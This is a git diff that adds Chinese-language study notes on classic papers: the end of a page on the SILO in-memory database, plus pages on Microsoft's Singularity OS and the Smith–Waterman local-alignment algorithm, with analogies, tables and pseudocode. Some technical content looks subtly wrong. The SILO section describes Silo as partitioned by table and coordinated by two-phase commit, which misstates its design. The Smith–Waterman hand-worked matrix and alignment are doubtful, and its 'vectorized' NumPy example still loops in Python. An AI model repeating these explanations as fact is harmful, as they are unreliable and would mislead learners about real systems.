+传统事务像排队：进入前就拿到锁，做完再释放。SILO 反过来了——**先执行，执行过程中先不拿写锁，等要提交时才"延迟加锁"检查。**
+
+```
+传统锁：      拿锁 → 执行 → 检查冲突 → 提交 → 释锁
+SILO：        执行 → 提交时延迟加锁 → 检查冲突 → 提交
+```
+
+类比：以前进厨房要先拿到锅的钥匙（拿锁），做完菜再还钥匙。SILO 的做法是——你可以直接用锅炒菜，但要端盘子上桌（提交）时，才去查"有没有别人也在用这个锅"。如果没有，直接上桌；如果有，菜倒掉重来。
+
+**为什么这更快？** 因为读操作和写操作之间不需要等待。线程 A 在读数据行时，线程 B 也可以同时读或写其他行——不需要任何同步。
+
+### 2. 两阶段分区（Partitioning）
+
+SILO 把数据库按"表分区"（partition），每个分区独立运行。类比：餐厅分成"川菜区"和"粤菜区"，两个区的厨师互不干扰，各自管各自的锅。
+
+```
+分区 0          分区 1          分区 2
+┌─────────┐    ┌─────────┐    ┌─────────┐
+│ 订单表   │    │ 商品表   │    │ 用户表   │
+│ 订单详情 │    │ 库存     │    │ 账户     │
+└─────────┘    └─────────┘    └─────────┘
+   核心 0-7        核心 8-15       核心 16-23
+```
+
+每个分区用独立的核心组执行事务，**分区内的并发控制**用延迟锁，**跨分区事务**用 2PC（两阶段提交）。因为大部分业务操作只涉及一个分区，跨分区事务很少——这是 SILO 性能的关键前提。
+
+### 3. 无锁执行路径（Lock-Free Execution）
+
+SILO 对**读操作几乎完全无锁**。线程读取数据时不需要获取任何锁，直接读。这是因为：
+
+- 写操作产生的新值会先放在"修改日志"里，不会立刻改原始数据
+- 只有提交时才把修改"合并"进主数据
+- 读到旧值没关系——如果后续冲突了，回滚重来就行
+
+```
+线程 A 读订单 ID=100：          线程 B 写订单 ID=100：
+─────────────────────          ─────────────────────
+直接读取当前值                  修改放在日志中（未提交）
+不需要任何同步                  不影响 A 的读取
+返回余额 = 500                  B 的修改对 A 暂时不可见
+                                等 B 提交时才合并
+```
+
+### 4. 延迟加锁（Late Locking）的具体实现
+
+这是 SILO 最精妙的部分。提交时，SILO 按顺序拿每个被修改分区的锁：
+
+```
+// 伪代码：SILO 事务的提交阶段
+function commit_transaction(txn) {
+    // Phase 1: 按分区顺序获取锁
+    for partition in txn.modified_partitions sorted by id:
+        lock = get_partition_lock(partition)  // 延迟加锁！
+        // 拿锁时才检查：有没有更晚开始的事务修改了我读过的数据？
+        if txn.conflicts_with_later_transactions(partition):
+            return ABORT  // 回滚，让后来的事务先提交
+
+    // Phase 2: 所有锁都拿到了，提交
+    for partition in txn.modified_partitions:
+        merge_modifications_into_main_data(partition)
+
+    return COMMIT
+}
+```
+
+类比：餐厅上菜前，传菜口按菜系逐个检查——"川菜区的菜能上吗？粤菜区的能上吗？"如果川菜区有人插队了，你的菜就退回去等下一轮。
+
+## 代码示例
+
+### 示例 1：SILO 风格的乐观事务执行
+
+对比传统锁机制和 SILO 的延迟锁机制：
+
+```python
+# ===== 传统方式：悲观锁 =====
+def transfer_money_pessimistic(from_acc, to_acc, amount):
+    lock(from_acc)           # 提前拿锁，阻塞别人
+    lock(to_acc)
+    balance = read(from_acc) # 执行
+    if balance >= amount:
+        write(from_acc, balance - amount)
+        write(to_acc, read(to_acc) + amount)
+    unlock(to_acc)
+    unlock(from_acc)       # 释放锁
+
+# ===== SILO 方式：乐观执行 + 延迟锁 =====
+def transfer_money_silo(from_acc, to_acc, amount):
+    read_set = {}            # 先执行，记录读了什么
+    write_set = {}
+
+    balance = read(from_acc)  # 不需要任何锁！
+    read_set[from_acc] = balance
+    write_set[from_acc] = balance - amount
+
+    to_balance = read(to_acc) # 也不需要锁！
+    read_set[to_acc] = to_balance
+    write_set[to_acc] = to_balance + amount
+
+    # --- 提交阶段：延迟加锁 ---
+    if try_acquire_locks(from_acc, to_acc):  # 这时才尝试拿锁
+        # 检查冲突：读过的值被别的事务改过吗？
+        if read_set[from_acc] != current(from_acc) or \
+           read_set[to_acc] != current(to_acc):
+            return ABORT  # 冲突了，回滚
+        # 合并修改
+        write(from_acc, write_set[from_acc])
+        write(to_acc, write_set[to_acc])
+        return COMMIT
+    else:
+        return ABORT  # 锁被占，等重试
+```
+
+### 示例 2：分区并发控制
+
+```python
+# SILO 的分区模型
+# 数据库被拆成多个分区，每个分区由一组核心专属管理
+
+class Partition:
+    def __init__(self, partition_id):
+        self.id = partition_id
+        self.lock = threading.Lock()
+        self.data = {}          # 分区内的 KV 数据
+        self.write_log = []     # 未提交的修改暂存这里
+
+    def execute(self, txn):
+        """执行属于本分区的事务"""
+        # 1. 执行阶段：无锁直接读
+        txn.read_set = {}
+        for key in txn.read_keys:
+            txn.read_set[key] = self.data.get(key)
+
+        # 写操作先暂存，不改主数据
+        txn.write_set = {}
+        for key, value in txn.writes:
+            txn.write_set[key] = value
+
+    def commit(self, txn):
+        """提交阶段：延迟加锁 + 冲突检查"""
+        with self.lock:                     # 延迟加锁！
+            # 冲突检测：我读过的数据被别人改了吗？
+            for key, old_value in txn.read_set.items():
+                if self.data.get(key) != old_value:
+                    return ABORT  # 读-写冲突
+
+            for key, new_value in txn.write_set.items():
+                if key in txn.read_set:
+                    old_read = txn.read_set[key]
+                    if self.data.get(key) != old_read:
+                        return ABORT  # 读-写冲突
+
+            # 合并写入
+            for key, value in txn.write_set.items():
+                self.data[key] = value
+
+            return COMMIT
+```
+
+## 核心公式
+
+SILO 的性能可以简单理解为：
+
+**吞吐量 = 单核吞吐 × 核心数 × (1 - 冲突率)**
+
+- 单核吞吐：由延迟锁的 overhead 决定（比传统锁低）
+- 核心数：由分区数决定（理想情况 = 核心数）
+- 冲突率：由业务模式和分区粒度决定（越细越好）
+
+当冲突率低时（大多数实际业务如此），SILO 能达到接近线性的多核加速——32 核跑 25-28x 吞吐。
+
+## 实践案例
+
+### 案例 1：电商下单（单分区场景）
+
+```
+用户下单：
+
+1. 读订单表（分区 0）→ 获取当前最大订单号
+2. 写订单表（分区 0）→ 插入新订单记录
+3. 写库存表（分区 1）→ 扣减商品库存
+
+步骤 1-2 在分区 0 执行，步骤 3 在分区 1 执行
+两个分区独立加锁，互不阻塞
+```
+
+```python
+# 在 SILO 中，这几乎零等待
+order_txn = begin()
+order_txn.read("orders", key="max_id")       # 分区 0，无锁
+order_txn.write("orders", "next_id", 10001)   # 分区 0，暂存
+
+inventory_txn = begin()
+inventory_txn.read("inventory", "widget_42")  # 分区 1，无锁
+inventory_txn.write("inventory", "widget_42", -1) # 分区 1，暂存
+
+# 提交时分别拿两个分区的锁
+order_txn.commit()     # 拿分区 0 的锁
+inventory_txn.commit() # 拿分区 1 的锁
+```
+
+### 案例 2：跨分区转账（2PC 场景）
+
+```
+A 用户（分区 0）转 100 给 B 用户（分区 2）：
+
+begin()
+  → 读分区 0 的 A 余额    [事务 T1]
+  → 写分区 0 的 A 余额     [T1]
+  → 读分区 2 的 B 余额    [事务 T2]
+  → 写分区 2 的 B 余额     [T2]
+
+# 跨分区协调者启动 2PC
+prepare(T1, T2)  → 两个分区分别预提交
+commit(T1, T2)   → 两个分区都确认后正式提交
+```
+
+跨分区事务需要 2PC 是因为两个分区各自独立，没有一个全局协调者能同时控制两块内存。
+
+## 局限与代价
+
+- **写-写冲突回滚**：两个事务同时改同一分区，后到的会被 abort。高写入竞争时性能下降
+- **内存占用**：数据全在内存，不能持久化到磁盘（后来版本加了 checkpoint）
+- **写放大**：每次写都先写日志再合并，内存用量更大
+
+## 总结一句话
+
+SILO 用最简单的思路——**先跑再说，提交时检查**——在多核内存数据库上实现了接近线性的事务加速，证明"乐观并发控制 + 延迟锁"在正确场景下比传统悲观锁简单且高效得多。
diff --git a/src/content/docs/papers/singularity-os-2007.md b/src/content/docs/papers/singularity-os-2007.md
new file mode 100644
index 000000000..7828fa985
--- /dev/null
+++ b/src/content/docs/papers/singularity-os-2007.md
@@ -0,0 +1,245 @@
+---
+title: Singularity — 用安全语言重想整条软件栈
+来源: https://www.microsoft.com/en-us/research/wp-content/uploads/2007/04/osr2007_rethinkingsoftwarestack.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一栋**老式公寓楼**的物业管理方式：
+
+- **传统 OS**（Windows / Linux / macOS）像「每户独立防盗门 + 保安亭查证件」：硬件 MMU 给每个进程划房间，用户态/内核态切换像每次进出都要刷卡、换钥匙。安全靠墙，但墙本身很贵——创建进程要建页表、切上下文要刷 TLB、`ioctl` 这种万能洞又让规则说不清。
+- **Singularity**（微软研究院，2003–2007 前后）问的是：如果今天从零盖楼，而且住户（程序）都承诺**不用锤子砸墙**（类型安全 + 内存安全），还要不要每户都砌实体墙？
+
+论文 *Singularity: Rethinking the Software Stack*（Hunt & Larus，ACM SIGOPS Operating Systems Review，2007 年 4 月，第 41 卷第 2 期，pp. 37–49）给出的答案是：**用软件隔离进程（SIP）+ 契约化通道（contract-based channels）+ 清单式程序（manifest-based programs）**，把「可验证的可靠性」放在性能与旧程序兼容之前。
+
+日常类比再推一步：
+
+| 场景 | 传统 OS | Singularity |
+|------|---------|-------------|
+| 合租隔断 | 每间房实体墙（MMU 页表） | 室友签合约、物品独占转移（消息传所有权） |
+| 插件/驱动 | `dlopen` 往进程里塞代码 | 扩展必须住进**新 SIP**，不能热插代码 |
+| 对外通话 | 共享内存 + 锁，或含糊的 `ioctl` | 双端点通道 + **状态机契约**，编译期/安装期可验 |
+| 入住登记 | 双击 `.exe` | 提交 **manifest**，系统先验安全属性再启动 |
+
+这不是要替代 Linux 的产品路线，而是一间**可依赖性实验室**：故意放弃旧二进制兼容，换来自由探索「语言 + 工具 + OS 架构」三角联动。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | Galen C. Hunt、James R. Larus（Microsoft Research Redmond） |
+| 场合 | ACM SIGOPS Operating Systems Review，Vol. 41, No. 2，April 2007 |
+| DOI | [10.1145/1243418.1243424](https://doi.org/10.1145/1243418.1243424) |
+| 项目起点 | 2003 年，核心问题：若**首要目标是可依赖性**而非性能/兼容，软件平台长什么样？ |
+| 实现语言 | **Sing#**（C# 扩展），内核 >90% 为类型安全 Sing# |
+| 中间表示 | MSIL（.NET CLI），安装时由 Bartok 编译为本地码 |
+
+论文摘要里的三大架构特征：
+
+1. **Software-Isolated Processes (SIPs)** — 用语言安全替代（或补充）硬件保护域
+2. **Contract-Based Channels** — 带协议状态机的双向消息通道
+3. **Manifest-Based Programs (MBPs)** — 声明式清单描述代码、资源与可验证行为
+
+## 为什么值得零基础读
+
+1. **Rust / WASM / 能力安全系统的思想祖先之一**：「进程 = 封闭对象空间」「通信 = 转移所有权」在 Singularity 里已经工程化，比后来社区讨论早十年。
+2. **看清「不安全代码税」（unsafe code tax）**：论文用 WebFiles 基准量化——为 C/C++ 准备的 ring 3 + 独立地址空间，即使程序本身是安全的，也要付 **6%–38%** 量级开销；安全代码的运行时检查开销反而 <5%。
+3. **微内核 vs 单地址空间的第三条路**：驱动、协议栈、文件系统都在 SIP 里，但默认可与内核**同 ring 0、同地址空间**——靠软件隔离省钱，需要时再叠硬件保护域（defense in depth）。
+4. **契约式 IPC 的工程教训**：网络栈与 Web 服务器之间的 bug 潜伏近一年，契约验证器上线后**数秒内**定位——说明「协议即类型」不是学术装饰。
+
+## 核心概念一：软件隔离进程（SIP）
+
+SIP 像传统进程一样持有线程、内存、安全身份，但隔离机制不同：
+
+- **封闭对象空间**：SIP 之间**不能共享可写内存**；要传数据只能把 exchange heap 里某块内存的**独占所有权**放进消息。
+- **封闭代码空间（sealed）**：运行后不能再 `dlopen`、不能 JIT 生成代码进自身；插件/扩展 = **新 SIP**。
+- **独立运行时**：每个 SIP 有自己的 GC 与运行时；内核 GC 与进程 GC 通过栈帧边界分隔，互不扫对方指针。
+- **软件而非硬件隔离**：多个 SIP 可住在**同一内核态地址空间**；切换不必刷 TLB。
+
+论文 Table 1（AMD Athlon 64 3000+）对比了基本开销（CPU cycles）：
+
+| 操作 | Singularity | Linux | Windows |
+|------|-------------|-------|---------|
+| API 调用 | 80 | 437 | 627 |
+| 线程让出 | 365 | 906 | 753 |
+| 消息 ping/pong | 1,040 | 5,800 | 6,340 |
+| 进程创建 | 388,000 | 719,000 | 5,380,000 |
+
+SIP 便宜到可以「**一个开发团队 / 一个驱动 / 一个插件 = 一个 SIP**」，故障边界细粒度。
+
+### 代码示例 1：启动子 SIP 并连接通道（概念性 Sing#）
+
+下面不是完整可编译仓库代码，而是论文 ABI 思想的**零基础伪代码**：父 SIP 按 manifest 创建子进程，并把手上的通道端点交给它。
+
+```csharp
+// 父 SIP：创建子 SIP，并传入初始通道端点
+void SpawnWebServer(NicDevice.Exp deviceEndpoint) {
+    // manifest 描述子 SIP 允许运行的 MSIL、ABI 版本、依赖
+    Manifest webManifest = Manifest.Load("WebServer.mbp");
+
+    // 子 SIP 启动前就必须拿到通道——没有「事后偷偷连网」
+    ChannelEndpoint[] initialChannels = new ChannelEndpoint[] {
+        deviceEndpoint,                    // 已协商好的 NicDevice 导出端
+        FileSystem.Imp.OpenReadOnly()      // 只读文件系统能力
+    };
+
+    Sip child = Kernel.CreateSip(webManifest, initialChannels);
+    child.Start();
+}
+```
+
+要点：
+
+- 能做什么不取决于「进程 UID 够不够」，而取决于**启动时握有哪些 channel 端点**（能力模型）。
+- 子 SIP 的代码全集必须在 manifest 里列出；没有 manifest 就不能跑——这是 MBP 思想的前置。
+
+## 核心概念二：契约化通道（Contract-Based Channels）
+
+通道 = **恰好两个端点**的双向、无损、有序消息队列。每个端点同一时刻只属于一个线程；发送把消息 enqueue 到对端。
+
+**契约（contract）** 在 Sing# 里声明：
+
+- 有哪些消息、参数类型、方向（`in`/`out` 或 `!`/`?`）
+- **协议状态机**：当前状态下允许哪条消息、下态是什么
+- 两端不对称：`C.Imp`（导入端）与 `C.Exp`（导出端）
+
+论文用网卡驱动契约 `NicDevice` 举例：驱动从 `START` 发 `DeviceInfo!`，客户端在 `IO_CONFIGURE_BEGIN` 发 `RegisterForEvents?`，还可**在消息里再传一条** `NicEvents.Exp:READY` 端点——动态长出第二条事件通道，但仍受契约约束。
+
+### 代码示例 2：网卡设备契约（摘自论文 Listing 1，略作格式化）
+
+```csharp
+contract NicDevice {
+    out message DeviceInfo(...);
+    in  message RegisterForEvents(NicEvents.Exp:READY c);
+    in  message SetParameters(...);
+    out message InvalidParameters(...);
+    out message Success();
+    in  message StartIO();
+    in  message ConfigureIO();
+    in  message PacketForReceive(byte[] in ExHeap p);
+    out message BadPacketSize(byte[] in ExHeap p, int m);
+    in  message GetReceivedPacket();
+    out message ReceivedPacket(Packet * in ExHeap p);
+    out message NoPacket();
+
+    state START: one {
+        DeviceInfo! → IO_CONFIGURE_BEGIN;
+    }
+    state IO_CONFIGURE_BEGIN: one {
+        RegisterForEvents? → SetParameters? → IO_CONFIGURE_ACK;
+    }
+    state IO_CONFIGURE_ACK: one {
+        InvalidParameters! → IO_CONFIGURE_BEGIN;
+        Success!         → IO_CONFIGURED;
+    }
+    state IO_CONFIGURED: one {
+        StartIO?    → IO_RUNNING;
+        ConfigureIO? → IO_CONFIGURE_BEGIN;
+    }
+    state IO_RUNNING: one {
+        PacketForReceive? → (Success! or BadPacketSize!) → IO_RUNNING;
+        GetReceivedPacket? → (ReceivedPacket! or NoPacket!) → IO_RUNNING;
+        // ...
+    }
+}
+```
+
+配套的事件契约更短：
+
+```csharp
+contract NicEvents {
+    enum NicEventType { NoEvent, ReceiveEvent, TransmitEvent, LinkEvent }
+    out message NicEvent(NicEventType e);
+    in  message AckEvent();
+    state READY: one {
+        NicEvent! → AckEvent? → READY;
+    }
+}
+```
+
+工程收益（论文原话级别的经验）：
+
+- Sing# 编译器可静态检查「在错误状态 send/receive」
+- 独立契约验证器可扫 MSIL，确认程序只使用声明过的契约
+- 运行时语义：**发送不失败**，错误只在 receive 侧暴露——简化发送方逻辑
+- 与**线性类型 + exchange heap** 结合，大包（磁盘缓冲区、网络包）可 **零拷贝** 在多 SIP 协议栈间传递
+
+## 核心概念三：清单式程序（Manifest-Based Program）
+
+在 Singularity 里用户「运行」的是 **manifest**，不是裸 `.exe`：
+
+- 列出全部可执行 MSIL、ABI 版本、依赖的其他 MBP
+- 安装期验证：类型安全、无特权指令、契约一致性、不与已装驱动抢同一硬件资源
+- 可内联脚本，也可引用仓库中的共享二进制
+- 配合 **Compile-Time Reflection (CTR)**，从 manifest 字段**生成**启动代码，取代传统 `argc/argv` 字符串解析
+
+论文 SB16 声卡驱动例子：`DriverTransform` 读取 manifest 里的 `[IoPortRange(...)]` 声明，生成访问 `IoConfig.DynamicRanges` 的构造函数——驱动变成「自描述工件」。
+
+## 内核与内存：exchange heap
+
+即使零基础，也建议记住一张 mental model（论文 Figure 3）：
+
+```
+┌──────── SIP P1 堆 ────────┐     ┌──────── SIP Pn 堆 ────────┐
+│  可指向本堆 + exchange    │     │  可指向本堆 + exchange    │
+└───────────┬───────────────┘     └───────────┬───────────────┘
+            │         ┌── Exchange Heap ──┐   │
+            └────────►│ 块同一时刻只有一个   │◄──┘
+                      │ SIP 拥有；线性类型   │
+                      │ 禁止悬垂指针访问     │
+                      └─────────────────────┘
+```
+
+- **内存独立不变式**：指针只能指向本 SIP 或本 SIP 在 exchange heap 中**当前拥有**的块
+- 通道端点也住在 exchange heap，因为端点会被**当作消息转发**
+- 契约状态机每条环至少一次 send + 一次 receive → 队列大小可静态分配 → 零分配通信
+
+ABI 设计刻意**拒绝** `ioctl` / `CreateFile` 式语义含糊的大入口；约 192 个 ABI 函数，但按 Channels、Threads、Exchange Heap 等分域，且**默认最小权限**——SIP 默认只能操纵自身状态与子 SIP。
+
+## 安全模型速写
+
+- **应用即安全主体（principal）**：用户是传统意义上的「应用所扮演的角色」
+- 入站通道代表**单一主体**；文件系统 SIP 自行做访问控制
+- 可选叠加 **Hardware Protection Domains**：多个 SIP 可塞进同一 MMU 域；也可每个 SIP 一个域（类似 MINIX 3），或内核域里塞驱动（像单体内核但驱动崩溃可隔离）
+
+论文 Figure 5 的 **WebFiles** 结论：全微内核式 ring3 隔离带来 ~37.7%  slowdown，而「关掉安全数组边界检查」只 ~4.7%——**不安全代码税**由所有进程分摊，即使进程本身是 Sing# 写的。
+
+## 与今天技术栈的对照
+
+| Singularity (2007) | 后世回响 |
+|--------------------|----------|
+| SIP + 所有权消息 | Rust 进程模型讨论、Cap'n Proto、Fuchsia 组件 |
+| Sealed process | iOS 禁止 JIT（除浏览器特例）、WASM 模块隔离 |
+| Manifest + 安装期验证 | 移动应用签名、Snap/Flatpak manifest、Sigstore |
+| MSIL + 验证器 | .NET、JVM，但 Singularity 把验证推到 OS 边界 |
+| Contract channels | WSDL/会话类型；现代 RPC 的 schema-first 设计 |
+| Typed Assembly Language | Verified compilation、Cranelift 验证研究线 |
+
+Singularity **没有**成为桌面主流 OS——论文 Section 5.1 坦承刻意放弃极致性能与旧兼容。但它的价值在于证明：**当语言、验证器、内核架构一起重画时，进程隔离、IPC、扩展模型可以统一成一套可分析的设计**。
+
+## 阅读路线建议
+
+1. **先读本文 + 微软 Singularity 项目页**（短文，建立 SIP/Channel/Manifest 词汇）
+2. **EuroSys 2006**：*Language Support for Fast and Reliable Message Based Communication* — 通道与 Sing# 语言细节
+3. **EuroSys 2007**：*Sealing OS Processes*、*Authorizing Applications* — 封闭进程与授权
+4. **MSR-TR-2005-135**：*An Overview of the Singularity Project* — 更长技术报告
+5. **对比阅读**：L4 微内核（IPC 性能）、seL4（形式化验证）、Xen（隔离与性能权衡）
+
+## 自测题
+
+1. SIP 与硬件保护进程在**创建成本**和**隔离机制**上各有什么不同？
+2. 为什么 exchange heap 需要**线性类型**（每块最多一个指针）？
+3. `NicDevice` 契约里为什么在 `RegisterForEvents` 里再传 `NicEvents.Exp:READY`？
+4. 「不安全代码税」测的是什么？对现代「全内存安全语言」操作系统设计有何启示？
+5. Singularity 为何坚持 **sealed process**，宁可每个插件新建 SIP？
+
+## 参考文献
+
+- Hunt, G., & Larus, J. (2007). *Singularity: Rethinking the Software Stack*. ACM SIGOPS Operating Systems Review, 41(2), 37–49. [PDF](https://www.microsoft.com/en-us/research/wp-content/uploads/2007/04/osr2007_rethinkingsoftwarestack.pdf)
+- Hunt, G., et al. (2005). *An Overview of the Singularity Project*. MSR-TR-2005-135.
+- Aiken, M., et al. (2006). *Deconstructing Process Isolation*. MSPC 2006.
+- Microsoft Research Singularity Project: https://www.microsoft.com/en-us/research/project/singularity/
diff --git a/src/content/docs/papers/smith-waterman-1981.md b/src/content/docs/papers/smith-waterman-1981.md
new file mode 100644
index 000000000..44a0b56f4
--- /dev/null
+++ b/src/content/docs/papers/smith-waterman-1981.md
@@ -0,0 +1,285 @@
+---
+title: Smith–Waterman — 在两条长序列里找「最像的那一段」
+来源: https://en.wikipedia.org/wiki/Smith%E2%80%93Waterman_algorithm
+日期: 2026-06-13
+子分类: 生物信息
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你在两本很厚的日记里各找一段话，想证明它们**曾经抄过同一段灵感**——但两本书整体主题完全不同，只有中间几页偶然相似。
+
+你不会从第一页硬对齐到最后一页（那会把无关章节也强行配对）。更合理的做法是：
+
+1. **允许从任意位置开始、任意位置结束**——只关心「哪一段最像」。
+2. **像不像就扣几分**——字母相同加分，不同扣分，中间缺字再罚 gap。
+3. **一旦累计分数变负，就当这段比对作废，从 0 重新计**——前面的「噪音」不拖累后面的好片段。
+
+这就是 **Smith–Waterman 局部序列比对**：在两条分子序列（DNA / RNA / 蛋白质）里，找出**得分最高的局部相似片段**，并保证在给定打分规则下是**最优解**。
+
+Temple F. Smith 与 Michael S. Waterman 在 1981 年 *Journal of Molecular Biology* 上发表短文 *Identification of Common Molecular Subsequences*（约 3 页），给出了上述思想的动态规划形式。它与 1970 年的 Needleman–Wunsch **全局比对**同源，但把「负分截断为 0」这一刀，把问题从「整条对齐」变成了「局部挖金子」。
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Identification of Common Molecular Subsequences |
+| 作者 | Temple F. Smith, Michael S. Waterman |
+| 发表 | *Journal of Molecular Biology*, 147(1):195–197, 1981 |
+| DOI | [10.1016/0022-2836(81)90087-5](https://doi.org/10.1016/0022-2836(81)90087-5) |
+| 复杂度 | 时间、空间均为 \(O(mn)\)（\(m,n\) 为两序列长度；原文一般 gap 可达更高阶，线性 gap 为 \(O(mn)\)） |
+
+## 为什么重要
+
+不理解 Smith–Waterman，下面这些事都没法解释：
+
+- 为什么 [[blast-altschul-1990]] 追求「快」——BLAST 用种子启发式近似局部比对，Smith–Waterman 是**精确**的参照标准
+- 为什么生物信息学工具里常有 `water`（EMBOSS）、`swps3`、`parasail`——它们都在实现或加速同一套 DP 递推
+- 为什么「局部」比「全局」更适合远缘同源——两条蛋白整体只有某个结构域保守，全局对齐会把非保守尾巴硬扭在一起
+- 为什么 Karlin–Altschul 统计理论能给出 E-value——最优局部比对分数在随机序列下服从极值分布，为 BLAST 的显著性检验奠基
+
+一句话：这是**局部序列比对**的算法定义论文；后来几乎所有「找相似片段」的工具，要么等价于它，要么在它的统计框架下做启发式加速。
+
+## 核心概念
+
+### 1. 局部 vs 全局
+
+| | Smith–Waterman（局部） | Needleman–Wunsch（全局） |
+|---|------------------------|---------------------------|
+| 目标 | 最高分的一段子序列对齐 | 从头到尾整条对齐 |
+| 矩阵第一行/列 | 全 0 | 通常带 gap 罚分 |
+| 递推中的负分 | **置 0**（丢弃差片段） | 保留负数 |
+| 回溯起点 | 矩阵中**全局最高分** | 右下角 |
+| 回溯终点 | 遇到 **0** 停止 | 左上角 |
+
+「置 0」的直觉：若当前前缀再怎么延伸也赚不回正分，就不如当作没对齐过，另起炉灶找下一段。
+
+### 2. 打分三要素
+
+1. **替换矩阵** \(s(a,b)\)：匹配加分、错配扣分（核酸可用简单 ±1；蛋白用 BLOSUM/PAM）。
+2. **Gap 罚分** \(W_k\)：长度为 \(k\) 的 gap 扣多少分。原文允许任意 \(W_k\)；工程上常用**线性**（\(k \cdot W_1\)）或**仿射**（开 gap \(u\) + 延长 \(v\)）。
+3. **零底线**：\(\max(\cdots, 0)\) 保证局部性。
+
+### 3. 递推公式（线性 gap 简化版）
+
+设序列为 \(A=a_1\ldots a_n\)、\(B=b_1\ldots b_m\)，矩阵 \(H_{i,j}\) 表示以 \(a_i\) 与 \(b_j\) 结尾的**最优局部比对得分**：
+
+\[
+H_{i,j} = \max \begin{cases}
+H_{i-1,j-1} + s(a_i, b_j) & \text{（对角：匹配/错配）} \\
+H_{i-1,j} - W_1 & \text{（上：在 } B \text{ 上开 gap）} \\
+H_{i,j-1} - W_1 & \text{（左：在 } A \text{ 上开 gap）} \\
+0 & \text{（放弃当前片段）}
+\end{cases}
+\]
+
+原文更一般的形式允许「一次跳过 \(k\) 个字符」并扣 \(W_k\)，因此最早实现可达 \(O(m^2 n + n^2 m)\)；Gotoh (1982) 对仿射 gap 降到 \(O(mn)\)。
+
+### 4. 回溯（Traceback）
+
+1. 扫描整个 \(H\)，找到**最大值**及其坐标 \((i^\*, j^\*)\)。
+2. 从 \((i^\*, j^\*)\) 沿「分数从哪一格来」往回走。
+3. 走到 \(H_{i,j}=0\) 停止——得到一条最优局部对齐。
+4. 需要次优解时，从除已用路径外的次高分格再回溯。
+
+### 5. 与 BLAST 的分工
+
+- **Smith–Waterman**：保证最优，\(O(mn)\)，适合「我已经有两条候选序列，要精修边界」。
+- **BLAST**：数据库级搜索，用 word 种子 + 扩展，快但不保证全局最优。
+
+典型流水线：BLAST 筛 hit → 用 Smith–Waterman（或 gapped extension）拉齐边界、出最终比对。
+
+## 手算小例子
+
+\(A=\) `GATTACA`，\(B=\) `GCATTAG`；匹配 +2，错配 −1，线性 gap 罚 −2。
+
+直觉：中间 `ATT` / `ATT` 与 `CAT` / `CAT` 附近会形成高分岛；两端无关字符因「置 0」被隔离。
+
+```
+    -  G  C  A  T  T  A  G
+-   0  0  0  0  0  0  0  0
+G   0  2  0  0  0  0  0  0
+A   0  0  0  2  0  0  2  0
+T   0  0  0  0  4  2  0  0
+T   0  0  0  0  2  6  4  2
+A   0  0  0  2  0  4  8  6   ← 全局最高分 8
+C   0  0  2  0  0  0  6  4
+A   0  0  0  4  2  0  4  8
+```
+
+从 (6,7) 或附近峰值回溯，可得到类似：
+
+```
+GATTACA
+G-ATTAG
+```
+
+（具体路径依赖 tie-breaking；要点是**只覆盖高相似岛**，而非整串。）
+
+## 代码示例 1：纯 Python 教学实现
+
+下面实现**线性 gap**、简单 DNA 打分（匹配 +2 / 错配 −1 / gap −2），并返回得分与对齐字符串：
+
+```python
+def smith_waterman(a: str, b: str, match=2, mismatch=-1, gap=-2):
+    n, m = len(a), len(b)
+    H = [[0] * (m + 1) for _ in range(n + 1)]
+    # trace: 0=stop, 1=diag, 2=up, 3=left
+    trace = [[0] * (m + 1) for _ in range(n + 1)]
+
+    best_score, best_i, best_j = 0, 0, 0
+
+    for i in range(1, n + 1):
+        for j in range(1, m + 1):
+            diag = H[i - 1][j - 1] + (match if a[i - 1] == b[j - 1] else mismatch)
+            up = H[i - 1][j] + gap
+            left = H[i][j - 1] + gap
+            cell = max(diag, up, left, 0)
+            H[i][j] = cell
+
+            if cell == diag:
+                trace[i][j] = 1
+            elif cell == up:
+                trace[i][j] = 2
+            elif cell == left:
+                trace[i][j] = 3
+            else:
+                trace[i][j] = 0
+
+            if cell > best_score:
+                best_score, best_i, best_j = cell, i, j
+
+    # traceback
+    i, j = best_i, best_j
+    aln_a, aln_b = [], []
+    while i > 0 and j > 0 and H[i][j] > 0:
+        t = trace[i][j]
+        if t == 1:
+            aln_a.append(a[i - 1])
+            aln_b.append(b[j - 1])
+            i -= 1
+            j -= 1
+        elif t == 2:
+            aln_a.append(a[i - 1])
+            aln_b.append("-")
+            i -= 1
+        elif t == 3:
+            aln_a.append("-")
+            aln_b.append(b[j - 1])
+            j -= 1
+        else:
+            break
+
+    return best_score, "".join(reversed(aln_a)), "".join(reversed(aln_b))
+
+
+if __name__ == "__main__":
+    score, x, y = smith_waterman("GATTACA", "GCATTAG")
+    print(score)   # 8
+    print(x)       # GATTACA 等（取决于 tie-break）
+    print(y)
+```
+
+教学时注意三点：
+
+- 外层循环顺序必须填满整个表，不能提前剪枝（要保证最优）。
+- `max(..., 0)` 那一项是 Smith–Waterman 与 Needleman–Wunsch 的**分水岭**。
+- 生产环境应换 **BLOSUM62 + 仿射 gap**，并用 Gotoh 三矩阵或 `parasail` 等优化库。
+
+## 代码示例 2：NumPy 向量化填表 + 仅求最高分
+
+若只需分数、不回溯，可用 NumPy 降低 Python 循环开销（仍 \(O(mn)\)，适合中等长度）：
+
+```python
+import numpy as np
+
+def sw_score(a: str, b: str, match=2, mismatch=-1, gap=-2) -> int:
+  n, m = len(a), len(b)
+  H = np.zeros((n + 1, m + 1), dtype=np.int32)
+
+  for i, ca in enumerate(a, start=1):
+    for j, cb in enumerate(b, start=1):
+      s = match if ca == cb else mismatch
+      H[i, j] = max(
+          H[i - 1, j - 1] + s,
+          H[i - 1, j] + gap,
+          H[i, j - 1] + gap,
+          0,
+      )
+  return int(H.max())
+
+
+# 与全局 NW 对比：远缘序列里 SW 只「点亮」保守域
+a = "MKFLVNVALVFMVVYISYIYA" * 3 + "GATTACA" + "ZZZZ" * 3
+b = "XXXX" * 5 + "GATTACA" + "MKFLVNVALVFMVVYISYIYA"
+print("SW:", sw_score(a, b))   # 保守岛高分
+print("NW would penalize unrelated flanks — SW ignores them via zeros")
+```
+
+把无关尾巴换成随机字符后，你会看到：**SW 分数主要由中间共享子串决定**，而全局算法会把两侧硬对齐、总分被拉低或扭曲。
+
